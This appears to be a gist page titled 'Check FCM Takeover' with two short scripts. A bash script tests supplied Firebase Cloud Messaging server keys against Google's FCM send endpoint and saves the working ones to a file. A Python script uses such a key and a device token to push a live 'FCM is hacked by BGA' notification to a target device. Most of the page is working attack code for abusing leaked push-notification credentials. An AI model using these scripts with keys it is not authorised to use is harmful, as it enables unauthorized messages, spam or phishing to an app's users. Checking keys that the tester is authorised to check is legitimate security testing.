Created
October 6, 2020 22:20
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Check FCM Takeover
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| #!/bin/bash | |
| RED='\033[0;31m' | |
| NC='\033[0m' | |
| echo "Enter Key:" | |
| read key | |
| echo "Testing => $key" | |
| code=`curl --header "Authorization: key=$key" --header Content-Type:"application/json" -s -o /dev/null -w "%{http_code}" -d "{\"registration_ids\":[\"ABC\"]}" 'https://fcm.googleapis.com/fcm/send'` | |
| if [ "$code" == "200" ] | |
| then | |
| echo -e "${RED}[*] $key${NC} Key is vulnerable to FCM take over" | |
| echo "$key" >> valid_keys.txt | |
| fi |
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| #!/usr/bin/python3 | |
| from pyfcm import FCMNotification | |
| import argparse | |
| # Input Management | |
| ap = argparse.ArgumentParser() | |
| ap.add_argument( | |
| "-sk", "--serverkey", required=True, | |
| help="FCM Server Key found" | |
| ) | |
| ap.add_argument( | |
| "-iid", "--iid", required=True, | |
| help="IID Token source from the Client App" | |
| ) | |
| args = vars(ap.parse_args()) | |
| server_key = args["serverkey"] | |
| iid = args["iid"] | |
| #Authorization | |
| push_service = FCMNotification(api_key=server_key) | |
| #Notification Payload | |
| registration_id = iid | |
| message_title = "Oh no :(" | |
| message_body = "FCM is hacked by BGA" | |
| #Building Send Request and Executing it. | |
| result = push_service.notify_single_device(registration_id=registration_id, message_title=message_title, message_body=message_body,dry_run=False) | |
| print(result) |
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